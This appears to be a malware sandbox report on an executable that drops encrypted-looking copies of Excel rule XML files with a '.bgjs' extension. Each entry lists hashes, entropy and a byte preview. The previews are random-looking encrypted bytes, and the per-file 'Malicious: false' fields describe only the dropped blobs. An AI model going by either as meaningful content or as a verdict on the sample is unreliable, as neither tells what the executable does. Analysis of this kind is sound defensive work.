Preview:	<?xmlvZ..I.0...M.Jp..6..F...c..@K.z.[.\|W...a..<X.f.......K&.?.....+..s.Rb..OBY..0.y...!.."$.#S...Yo..........H....nb.i.3<.l..Y.....t.i.%"...7.5..].Z....}.Cy.y.\|.&..3....).S.yt....L....e+8...p....2.UX`..#.;.y.....G..sRm9.h..A.ORY.^..?.m.n.}..f..wX..C.....^..c.x(..V.../...0..]....l.p.C8.3..Hf..4...0v/..]..\=.[.....-..E.....&.b....8.(..!.V#:E..... .V..W.!....;....{...Jll.O..N..~...I........_......e.`.,_.....i.,y4c`Qq.......e..\....]d...y.k)...V.q.~.b1s'..7..B...=..n...zK..f..sD.....].6T.T.S...s..~.^,..H...z..t...[@../.....2eT=jAE........L^..n....U.5..]....4...)k.ox..>...k........@z.....5...&....c..2...w...Z.m.Wu.z.o!.%b..L_..$.........&......>X....Cy.0...-z...t.8}x...:Y.)@1.r..W=.%....Eu...n.1..[....X.K.o....M..u5,}.$..g....xh.^.:...\|<.d.2.r.t.>L..:.w..:...>...7.9:[.Eo.9r.!z..6...b..:.._..6......?>v.....C..L['..x;.9V.}........;.B..1...y..CF7..O.@.0..c.z+.Bq$n.\|p....(....=.S...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.684032091664119
Encrypted:	false
SSDEEP:	12:CkHmCZGt5hMQKrA2+1JcYCpVD9YG/+Kq962aqXn/T13amCa5GR3YVeEdYQscii9a:hZ25hyrAdJcYCrDydXnB3atkGR3CeEP+
MD5:	E0FF1B1153EABC70BB0C1892C0D44D44
SHA1:	6C6320024E1A836F7E628CD681022D7930EA097F
SHA-256:	17C1C8156AD87D7DCCAE0334D3EA6D1E6726665CA2EAA3987CD4985435510B23
SHA-512:	3A082D5EF3064672B25E894469ADEB27B11043760A60924ECB3F58AD3C7CE51585E1DCCD83888DE2773072037F84C23D30E13B270619EB311AFE3E1542D22BD9
Malicious:	false
Preview:	<?xml.LB...k.7..].d.........9Q....G).5..{v...xG.4.!.\.^R=.^.G.q).[.4hyN..-k..<....D.....n,..E.h.1[.'..B...(.5..-5~F.mw.......r.....eN...p.....He.D..aL..Mf...5.b..O..Q.....mU..n....0..HJ...R......+0u..O..>%u... ....]O..8...:..ioKm...JU.(....%.1.......I:.5....8r..[.k..8.N`..'vq.#nu.z....A.....Y..p.{.w.`}..1]....Fr.....0.;.Y...#.5#.....m....1..\|.l..mV.y`.kn.e..f.p.n..D,..f..'.)~...$.R..\WY.....U.H.]........^<'3...i......7.w..= .C".H.x<).b..L.....!......P.v...q.....#....4/.?..[!."..$.U?,.>...1...^.,.\|.S.#".;.D.....3....o..R.....(."..)....R..-!.U**.Q.e............e.....H..K....A..v?.y..J%...r.G.gX.\j .b8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.715585093926288
Encrypted:	false
SSDEEP:	24:GYlfRj8APpG7pEmzGhD42Fm8HVaHyHKlDT5+/pIa6sbD:H518EpspzuUF8EHlD0KXmD
MD5:	9BBFA830B704BFE31D201458F1DA9215
SHA1:	80E7165F386CFBBDA2AF9AC6FDB499ED83844EC0
SHA-256:	0C875D091D73F4DDCDBB47BEFE49EEA03FC0A7F2495C1D597F54738258906BB7
SHA-512:	9F76BA13A86FF5356B9F997ACF6A64AD7D9B7405A2D266B84565B432986FB6EFC9A7576867A48F2F673DEDAFAE83BBC17816217D144CBE3CBBB82ADC9A5EEC6C
Malicious:	false
Preview:	<?xml..l...;.w...N...Z$.WF.l[EpX....n>c[#U...-G.....I....[D.e.....g...X.q..t...XK+......3L.j!.=..[....Wt.2.S...S<..$IgX-I).K'....LD..w.Op-.........C[E,.....3x...d.@.L..%.......!...O....3...l..A..l}/.0...3.M.C.....<+..(!C@,LP.=..a.>..={]...dU...8......i.........+.J..%...e.PG.X.T.B.4......f.D..'.h.......\|.$Q..M.~^=F.3.@.....NM{.k....W.p...%....CJK..8.5d..<.VS.m...4...D...Q..........]6.zn..j.YT.&.f....8.n.%'.L.4dw.B...Y.w.st^..Wm{.Nl.......(...>.FR...Hb]...%......x"..8...cj..../.{.\\o.....t......q..Q...m..u..*...6..i...HF7..%..Y.$..%.bn.\8..FB<".n.R..=.p.v:..U.\^..+...<.....Zrna=r7...J..w.[.....e. /&..Gh?Y.....L.lE.x..Cf. ...U.....G........k... ..G[..g.3...:.N..;...,7....F..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.698019382643828
Encrypted:	false
SSDEEP:	12:ZRXQuTgKQgMgbjuAILTpQJHz25Q7LxE2UgWi+WMlUnpyXQJNhlh4F38FQscii9a:ZRgFDGjDIHpQDN69e8AemqsbD
MD5:	71F7F3510AA0BB1A5DB7F9B613C5C15D
SHA1:	B8BF85E6879AF8C3C58B3521A3ABBA746AA3EBE5
SHA-256:	960FF797DB8239490BCA6A878908EFEF47161357B215AE5344393ACD2825F85B
SHA-512:	27273ACEAF2D96AB81D3C3E7166729030D1836CB3A4CE3937FA18E80990B7356D4E20FB6B18DB118A504F80790524BD57B6EC2EEC058A32271C206B965B7140E
Malicious:	false
Preview:	<?xml.......Br...q...\..Yr.8.(a....f..#.6..~.fu'^...W.L...#...W....B..F.../......}......A...3.....:..Ig;..-!\|../\..<_M...v..r.".&RK..b..>.........C2..B..1.i.}lU...G.OH...d.e.z.,...y).`~......Rd........C2.i6..i..........Wf...s....?%.$.h..8....!....'0H.F.).T.....K.u..8...wf2.9u:.Z05.......~h+I......].....N......../..R......y......,...K.R.j..u X.,....t.\|(h.Qw..^q..w.........].4..^:..5..I.)..l(..[..=_5cSE......N{..N.S._.j./.2.,.,..;.H\q"...BIh!R..=G'...7.BS..6~..QBt.v.Hn.....f....kB_c.N.._6\|t!....'..t..9c.7.p.....Fq....~N..yU#....az..K..J.$Iu....7.X.....ipQ...{<4.)eWi.........4...T....y..8.]..'........(..C.f.3.^:4.z....[.F......rf....(~p%..v8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170099v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.839023340407072
Encrypted:	false
SSDEEP:	24:rLOzGD1rCY0U1VM3cqf76qvnor4ubnVS/hrTZYGE3r0xBxFyiEjIqkmsbD:XOwdN0Zcqf/yVS/hBY3s8UYmD
MD5:	E5A6DD99C009139AFE5A84CA374F572F
SHA1:	2F3D2111FD7967DB6B5C78E6764FDA3D500B9857
SHA-256:	67E659DA3513C1D20B773E875E7820DC91C466619C4EBD36591E790B02F1E630
SHA-512:	00D70FB6C446F67E59541F5F2C9A1CB233CA34A52EF50F3EF05BD8EECEB111693FCF64375D3984FC7F76A76606F3BFCFF75B62D0DACD431387F53BC41BB34CA4
Malicious:	false
Preview:	<?xml...2...8.....j.\|.P.....?.;0.q..@..J....]r;U....j..4....q...;...\|.i./L..>....&.....R_I......W..t.~..x".9..R]w...u..J.A.3g..N..)..K..`....?..C.u=.p.$.>..G5..N7./(.S..O..t...nq..'vj...kg.).Q....b}.A.....0.KO...^.R.......g...@k.....ML..Z....K..SLt....9H>..z.#c!R..$....ZG+\|Q...!.]._...x.9u.f.\|.....c.H).I..V..D...X-T.^2.7`...!...La.)I.t.. i...3....4..58.x-.)..........gd.]..>..m...W.u.....'R..._.Q...64..=...e.f..q.r..iJJin..FW?>.......!Xs.J....'.Z...>...q..+.l.....E.s....m.&......c........?.z.+.{.. I.g.%M..o.=...K........D....M.g.M._@.....RT+]PS/.^..r.gB....C.zJ.....0.M... ..26^..\|....A...;I."N40....D...i..V.R.c.....E..5j~.F^}.8/......8O.n..%.&....C.L.G...-..p.z.).^.d.9s..-..ZF....=.,.b.6{G..4..G..).x^.LH.Fl5...X3....]W.....vYEA.X6.n$.O..b..>.u.q.......h..=..../Fv..\|....J...xz........u....x.[.$.K....4..f.N..{..iC.vq.q...z..[QD.......\|.. .`.7.atk.Z......m.{..D$0e....V8..m{1...m3.hd.:......Tf..e..ug...Eu....>.9'...1.QN. ..C...dwx..`.\|,

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170103v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4285
Entropy (8bit):	7.955600386771755
Encrypted:	false
SSDEEP:	96:BITGF0nX1E3BZwdGiRuP8NctkCj9CcOc+oNl7gUxxnYdI5oxJ+:MiCX1yRUczjMcOc+oJhl5oxJ+
MD5:	DACA41931E8FDC07F34FB0D9A07D7CFE
SHA1:	7D4893A45C79C60C26F2056B43B86F93C87D1841
SHA-256:	86C8F27487B132B8F54B075626D4D0DFFFDF7D2E5EB593C4D902DFA423177D1E
SHA-512:	26557BAAFB6222A9C77786572E1CF10C4C7ADDF9C3FF0313FAA179163D10BB80F21A80EA79A75C89FEB3B9D4128921CEF90D75A6EDC43211381895FB7DD41002
Malicious:	false
Preview:	<?xml..8.>.\|.?Vz'+/^s..6.O...K.v....jw..$p...'9...MS....L..Vn.k"..Ye[_...a.A.B.V..8.c....{..I.;.S.....p8sB...U.w.OcLP\....Y.cx}....)88.....&>.:C..#.z;;uH.g.....WA%e....I....fph.-..w...Wv.M..c..+..z.R[....P..Z..6D..T.W.......#...;AA$...5..te]O... .............gT..d...,cKv..x.........I<=Am..!...$Mu..vc..........)c..Q..c{.....c..Jm.....z.+P...s...&Pn....L0..@.#..@....-...X.[.......O4........".....!q.I.0]gX......,.?...k.L.+.D...`M.....3+.Q..}..4...u.\|......V]........W.............".se..M...q..d?..ipE#.2~"p&-.j...B.0.....A ">3.v&.B.F.....[...\|.....R.9....B.DO.....G{K$..Ei......HD.0)@.. ...,....G*2X;...vL.x$-_.=zM.@..8..Mi...b.>.Y.@....&.=`j^.K...2...%)....t.....&...!.:n.+..DrX......c..{E`?.{..G.H..xy.+..E...ih:p...(Ps.D.Y.}.D.;c..j.{^j...xgW\|h.\|.B.?.m;....m...<.S.....1.g..g.....Hu.<..[k..i.M5.+..>.m...q:Z...~{.U........~HA8..{#.?qh.\|.:.....-..."N....+..&...=.....y.....hj."r....[..r.n.....T.e+.h...,K.,.H...7.2V....\|..UF..Z"a......(."...D`

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170104v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.762009950227025
Encrypted:	false
SSDEEP:	24:OnhfGmZDZKFAGX72aNXQSPPJToGa4sZ/oTTsbD:OfBGX3XZPBToGalaTTmD
MD5:	CDF9AEECB2994209119AFDABC757A769
SHA1:	5F709B087FA5337102D2BC63248151FCCEFA2D72
SHA-256:	43ACD1D443D07BA25D1C346EBD165E414ACDAC628C9ECB2BABB8DA03A632B75D
SHA-512:	D806D4B9539A75254870F8C4BE54B472CA9B5EDFB6EAC15183F4E6A50733678A9672C3D3754E4AC19A8C31E9788D1CE9CC725AE8C01F7CBFADEACBEF5DB443A2
Malicious:	false
Preview:	<?xml.H...C...g..G-.=O1.u....,.qsX......H..._j)...o........?..I.$.c..~.........)...2n..[Q..T%....5..P.&DiW.oJ..Y.^..'.pHR)#].{..`K.?B...Y".......^W..[...........i5.X.%m.....t.(I...@.i.......^.~;.f..S~D..&A..UQR...a.c..........""....#...w.L.r..\|..;....j.D.< ;...5...$....)U...._.e.:....l}...s..j1.$M/.Or......&.y...m.44}...+.....!..).b....8.M...v?.Xq.....q.......k.my.~y0c9.v...i....XY.,....(h..z.)V.)F`k..Z#\2.E...o.^.SM....t.3,1t..j...z.D..Q.s...X...y....c<.\|=.U..)?."..{.}eJ..0.9e....md/..g.e.(;..)Pty4..\T.....D?soK....t.......X./...w3...DM...ZN9..a......E.).^.).....i.A..1...l....<...=..`..D....M.....,N.dAK.9..\|Z...]E.W.........A0&..}..[..V....7.k>G.&.1w]...b..k.^X..-......d..q.}..G(.u.."]...!.b{.......*..?D..&M.W......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170105v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.751950589504946
Encrypted:	false
SSDEEP:	24:x7OI61UfeYAwHDWERwCDc5LXMm8TaT5Qf/+S4Z8+PAXrleOZA+sbD:xSI5pCQwCoMxaT5eEZQXxhZ7mD
MD5:	1D058006BD172959D5C1DF915A71B5D0
SHA1:	6A707BC1FC89F59D9E91BE9435F10F385DF67DC1
SHA-256:	053CCF91602B7766A663CEA365A85FEBDA23FD27B9D6783E11084B256626437A
SHA-512:	FDEB7420501B2F6BEDCDFF8E3913685C759AE20EFB986CB5C2821062AD84D8E934BD0BB645E61E990209971339EBBC7BC36CF8B43B37576795068F1B9A0C781C
Malicious:	false
Preview:	<?xml_G7.........iZ....'..N.g...#RWm......&...S..${d7..........9N...X....,..Q...).._a.t.N..z.U<.'.....A.4\=.\|.p.d.}..b..15..,..B...5...P...S.....O...F:,.D7.s'iUr....1..q.;.(w.;..-......t.ua~O8....k..i[Q.>\|7.......(..NN8.B.By%.B..C.6...rC.........~dC..u.#..^sh...8.M.Q....~g....\|w.22..I..V.t1...h.....nO...~HdP....=I.....{.,. ...)>l...t...........OBC.....J.Yi:.q\|F......8...-..2.0....?.....GK.x...9....L..x..)#..O.@V..b....).@_..E...x.p6f.1...E=.1{..>e.U.._.W......8.\..I&...q.T..R. 5.A..]=e. v...Z{..O.U.AA.2&.d .4[B...1.H..r.Hr...k....7......W.._=.7...,..c.....1...p`....z.7}(.._..Z.(.d.....E..E..h..k...,.#..;.n.N!..([.....T.....1....>.....s...K<.m...:.;?I....q..\...K...@>...I..!.E..b(....D2.............(.....lqC.8.........mg.<....D.=..^. (...).9.1.l..;.....M..........?E..c...o.....!..W.7......shP..,8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170106v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	722
Entropy (8bit):	7.664648749360468
Encrypted:	false
SSDEEP:	12:v0fg0sm82S8m3BrLQc8yasfNZToGB10hypGzrzcHhDBJPUcpMr6omYd1ZtZ1Qscq:Mfg0smlm3ZV8yJN5XQfzrzEtduuY16sX
MD5:	FAF38A040109A0D98D37C407BD28025E
SHA1:	C0741B68697D8C1BC8FD802538976FE2D899ECAB
SHA-256:	EF68F41C742F73808BCE8940C4921F7DC9209972F570B6092C597A15874F5566
SHA-512:	0BCC09FF4CE0E9B54F2F3BE47E4B0B28661A1A213E7A68B31EA26A37B0964CD4C417093455F11732FCA36E5CE96FA170C92E1C28F0BDC747FEDB82CE8362C2C9
Malicious:	false
Preview:	<?xml...E..t.O.u..C.).^J1_..du...E{..=..?.. ...._..j............o.R...9j..'.j.^......p.uP...OvB..@..#@g.. ...k......7..wo....P..k.Y..`9F....a.l.....j.......`a...3Z...?............PC.b.)6L\|D.<@4 ..........+.....C...;1....2...vg..0(.H....V..G.D..,.!.}\|...)Fv.LG/..D.V.....5GT#...ns0..@(..M..W..[].F.<.\|...t..!...D.1.R.;..4...oc.4..#....>..v.)7V\.v.v...@.S........q.$...j..w.P..td.w..\...N..U..L..@._..ctbBf..s......._..]\R}%.}.. {.\|G....,..a.;G.".r..5,U.....IP2.x..yw.]j..R1..>.Im.....^.u....E...W..>:R.......@:eb.h..L(\...O.j.2t#... ..YQ..#w...C]....R...j-]..E....<.....@.L.8KW...T%..z..<.^#0I6=, \.&..P..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170107v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.758318318029511
Encrypted:	false
SSDEEP:	12:78shgqGdiiMt7Eo16APg9jJA6feuf8S1/EMAKr/1r4H4vFJ7Djm2PdGNQscii9a:78shgTatQk4BJ5bkGFJrLH7meGCsbD
MD5:	E09A8E534F7BF0BF96593756CA004D50
SHA1:	021A6B613391467C3AA6C6800B7EA8434B72B62F
SHA-256:	3607AB25D7931324712EDB53580608CD56405ACB93AB7B8CDFFFEA6BA09FA5C1
SHA-512:	895580718F023A9162E1A2850483DEE7E2C9407819A3A1AD2AF704B45757F64BD34003B87A328CCBBB9D9F5677540FB588728F8868DF1C829B07FF27B34BE4D4
Malicious:	false
Preview:	<?xml.8...h.B..e`......!..Jo..DT.:. ...sO..!...T.>...K....fc..8..{....}...I..z.........@..H(E....{...bT.Grh .....U.W..yasLs..7O.....0<\|.cV.X..s...Ike8..b..q......jr...>.I..g.xi........u...e..0.\.y....r..o...ilWV. ....4k....V.}Ta..[.i......m..i......-.q.d!...h..b9.Bf+...l.A ..x.I...'..X...QO<....L.H#..c.."..y.....6..Bff...[.].\|..@..M.IO..\|.....y9...uyxM#..D.q....:i.....1.6...(w._.h)..i...H..=..\|.J.JJ...}...F..f.../z8...N}...m]A.o..mAD.(...0.7...UC``l\|?..D.6..<-....Y2O.J.x.$.K.X..F...H.K%?e.i.. .3.5.c._..5z...A......-......e..Y[H...?.......'...K..5.1..9a39.C............6...c.Qh.B.!.bn..lA.......P1....8...6.W.X..nzM@...Lg.W....fs.P...).2..$5.G..s...,%<....A^.L...8.....r[H2L.=..ZT..r...c@.R.s....Y.....;..l...n.<..e..I.e..hUZ.Q.....1.G......w).\|.5..$....v..Y-...'.<i<.9.G..Tp......ny'.E.J[F..wh..(..K.J.I..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170110v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.846847078714748
Encrypted:	false
SSDEEP:	24:eW69nnRMnodopNdvRbHF39FAVUqkruSq7vS3tQsqlbaLpYCKCsbD:1YXMJx9F+zkrF0vOLqpgpKCmD
MD5:	08297E333954C5102AA7BDE20EBD4DB3
SHA1:	E5FD0AF538D733A1A9A409C5D2459D1144CED3EE
SHA-256:	0D93A72FE0ED0B48F8AAD5F61012800410F8ADF4CE2A13648FA7B3B3A7E7876A
SHA-512:	5E9E315AA8D84DEEE6D2304DC358556CE74FECFD82E8BC5408B9CA6DA36755C77C26061C40331F0F066977B3EB4F6D63E6493F46B453D4C782B4B52E5CAB8777
Malicious:	false
Preview:	<?xml.'..fq^3y..~kd9...:...C.Z......;a..a...f:......@N.T.a.N...{.m..u.R.>J....o.}.. ...i].......hh..D...M4b7.O....S.......:..1y.<W7T=..+.>h....`_.W....VN.O....7........;.h..G......)S.l....w..g\A.d.....g..}17..)gm\.J\...g...T:\..O....U.N3XR"......<.?0D"s......e...\|......2S..0th.C.'.]u.j1/....Va2....\.r.v.1.R..6.W.N!.>......_.!A.L^...`.}......&....[........c..@.....S\.....KN.v......=.4.';..@w.....6<.C..NO...3..b@+.'....X...G..'.......{.Z;eY"&b...p.j...R.....f.O....$)j..[..7.~DE.ts./K!.....6.5.."......:$.2#MG.....I......V#.x.'.!....i~?...m<.t..n.R(...n...C......f_......0-'=P.Z..D..bP9.....,...<.2X.A.:PG.YQ..F?...>.9..3...1("y..T..~Oh."/HN.*..Y..C..1..m..xN2..@....y...9[:.O..k...m.g.....M......v..v..B...~...b.j..x....$T....Nea'.eLoX..P.._....`\s`:. h..@..b.....j#...D...u.....w>..Kb.......e.....Q.M&....'RZ.K.l6.'.....K.....Dc7....lZ.4.~X.{.P.......~.7WV.j....U....9..1....#?.GyX..]1n-.o.a.a.t...d..c..d..2...5...~....Z..X%.=..p...N.Y..H.%.wd..\R.7@

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170111v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.790741528801647
Encrypted:	false
SSDEEP:	24:AGlWvqebPEnT4e1ckO3Jq1GcBfFv654UU1IvsbD:AFt8nchkO3+x1B6LUSmD
MD5:	2BC0D38A213648FCFFC68E7D3E9A90E2
SHA1:	D1A1C6B2E3629FB6BF09CF9BCAF8F6CBF6B76841
SHA-256:	D179F66C495E95358385AE93F9B3CDFEA21802EC6D494B4CD2122B717DD98C61
SHA-512:	E00DB2746BA8AE0259F02960E7711451A234F148836997E995A3C710DC0FECDA309C2FE21043EFDFEAE7584C6E90CE9269A22EBF3F3C7380B47087383FD7C488
Malicious:	false
Preview:	<?xml.O.pY.D.'......F.ir.{#.X4....S/Yu1.N..d..t.?@f.h.....\|....r..d$.=..[(d.DP2!.P..0..[..L3!c.,.....Ir.n.......Q..4o...X.v..HS.h8L....!.....d~...D......g.....O....&.Z.....Q....=.Z[.A.Q...J..,#..u.......D..p.9..bzV....\|.{.$..z.kB...0..w.......@.........}(.I.#.v.[Mpwp9&On..II..D..@g.%\.y... ....~.k...d>Wj>.h..m.}...nSv6"ZE]..7......t..;..U..<J....;..d...=...:.;>.QsV....<.w.1N.EBH..i.oM.2.KF...DlO8>..%.'....i....4......Q.....].}..(L.&Of.{..d_...>U......@....M.\|K..3..}....[...ul...;...>.8..U..l..3..g%..k...A.........q.......Z....n.T~7.L..[q.. ..d.vF....R..j...)...5.-.6}\|.m~<..U.r. .K..%..2...,..K...\|.i._.4...'QY.i.p..j....8.!..$.>..........V.^KY.u....a.H..Pw.1X...?.t...&.......sC...X..?. ..$.,.~=N[(3....l.79.gW...\|.]!.-......S.W..K...5\..u.......f.O....tx......sg^H......O=.98..Z.#..\|./......4....MBg....[......[.}..2..d~g#.........YDr\|..N^.. .8...N.6>.-.n[.U...R...e*......W(&.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170112v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	7.818865761929665
Encrypted:	false
SSDEEP:	24:ZqXtwE7UbsYAhFNSEr7kYRR88mjSxGXsbD:ZYqTbs9Qe788mzmD
MD5:	AF29B2ADE1ACB6577A2BCFE30C01D3F6
SHA1:	5016AC1B5584B46ECFE0A4105B0711CE13014B9D
SHA-256:	8DF1F018539906C0B1AB10F22C893E3325849D218AF7F5A37C156735543A2DAC
SHA-512:	BBDDAA3F707661AE0BAADBEF9C4EF879FF71320B906CB886A1044A4E58AEA35F163F1FB0784D020B1B7DE2A89DA2A6B1131933CEC2C6B5CF27E7A90EE0AE8955
Malicious:	false
Preview:	<?xml...D+..R.Q...\..u.xT..5.@J..#....w..E...../x._.+.K...c.{.4W..h...w..}..Vp......'.).4.[V..GW.V....C.X.. ...........a.W[.....v.?Ks,\.Z..(.(.W.+...{.)^......c-...^u.ez.....<...a.v\|....v.5....g...,..] D...SO.p.N..b....qOi....dR9......rv.........3.6.........c2.'..@....Ic..^..:Yq...x....a..:.........t..v....g..;..7q....&.gO.^Q...!..\|$yG>.......LbEX..dl.O...fBk>..m....)....).#.N/...0`.6.;....5.....\..z...j?s.l..J`.-...[..`.}......pu...9p3...~.^jZIg'.h.#......Q..N(./......j..8...t...J+..}=.E...>kF....<..@.."..T1..\|../..H.}j.e..._...=?.`M..~.F.Q\|i...`...."....f....7J.>...~..5.;PA.;u6P$..;....\|....}gg.@A!..=.<G.Iz\|......b.g..GK..(..N..JdT.....i.a.3...+..TY......k.~...k.zq:.@.....hL....A......`Z@..[..........mRz....u...-%....t{..!F%g.L.....1..r.9l.gwb._...a.1........Ar..>..o.9...kG.o.p..3.k...e..........;..._..j...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170113v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.7421702953235565
Encrypted:	false
SSDEEP:	12:HX/A2xdqN9suRIFxX5Eig4CF6hMCNeKCS20vhS/VV7ORecnJFhCmxQscii9a:TwN9sCCx9xebCNRCS204dZOQYEdsbD
MD5:	923010A755E410B2622C09934935AB75
SHA1:	AA25A2C75099DE5D8EA8FA2C40057799B1434003
SHA-256:	4615574F5965A4DC1F7A97B2212C830F69F7EAAF51BB7ED3E754BEF7DBE37EF5
SHA-512:	BA0BFF914A87C43DF198C3EA0D375477715E156C581F610E736F59F35C64858072BDAB7D80120DC4349E6BAAAC8DF39AB0378804F04E27A1E27DAA1DB4E9C939
Malicious:	false
Preview:	<?xml'..`...^./.k~LW.jA...S...2.!...;...6./...s.uKS.6............3.+6:t.kv.2..3.kiw.kqx..-.....D..:M..1.b.&....&..$...5..N.+.A....UN/M.s.q.u.d..../7....j..........e..'..>x#..&.....O~0..\|=. ..s1...s........t$..4.]..~........#....].~<\|.z.f2.N.[v.-X.,.."..KaW...Hg....".f(.M.....s[.)7....~....D.t!6..t....q.. .N......Pr^...._..1.e.{...&4,.f.F...CT..g.+8.._..AqI. ..jUYk.9....k........6X^..$.b..ux...$...Zv..O..a7....>.g.(}C2...[\|.....`....wgP...Z..P..{I....u..C...v....... @..2..E(..j5.......\ke..j&2`2`Q....n.y..t\.......R....hL..G....M...*..."...p..$..(.u...hS..y....;=.-..}H+0.@p.XvS=....%..-T.:Bn[.QYL. .i....^.]8...w(.E.a\|..g9..T./.'. ^..-W.....2...61..v,.g`..R..f!q..v....ti....k_...9#.....s8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170114v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.8370983161446
Encrypted:	false
SSDEEP:	24:5VrEFUIZuRiLCi5/SZ8Rux3Y20sdZWoFfxqGq7Ern3sbD:TEOIoRi2i5KKm3iDoFfxfqI3mD
MD5:	B9765595DABE6358D659DAC479F48001
SHA1:	3AF8344CD1B0CA3C3135A854FB1D14BBD0990DA6
SHA-256:	3A0DE8EC6908DCAF7C4B4E678DDFCB9248A5595F6AF438EDD7F4A964A4A03700
SHA-512:	5EF3FEA182B6BC28BC44DA338D867296A8366554D182FC00F1D33436796B5D6619EF50E0D839957CFD90998CAFFEC692A03B02D667A8DF9820CA590C1C5A7AC9
Malicious:	false
Preview:	<?xml.J..J.$.......s.[......i.J..A..M...B.enK...iR.}.Y.Nzv.....y.j.c......6.\|.b..._M.2.e1...6H.l>.OM..W...1g...C.....I]Gb.\.. DA'....RQ..y..Z/.a.ymDZ..\|D....[..n.H.Uk.<"p.E....L^....C:.). .. U........$Zb...R..#.#.. .f.Si5.gy....a.f..=J.T....V....:...6.\|h.-3.Q"...p.........i%.FP..._j.o......a.f73.7...J.9...jt5...&...K..y;...ypUL.#.^.....xg....tQ...oq.O.............1.....L.....</y........../...p..Jn..RK..#..t...Oo`g.,..Pt.5...{)...E.F.Q.ux.S.U%jB_}`.).Qu..d.?m#...%.,:l..lwHX.T.6...J....#w....i...vWT....R........C..8t.-....2..T..d.f....;b!.....8..UV....8 .9..\...b....hH........ud 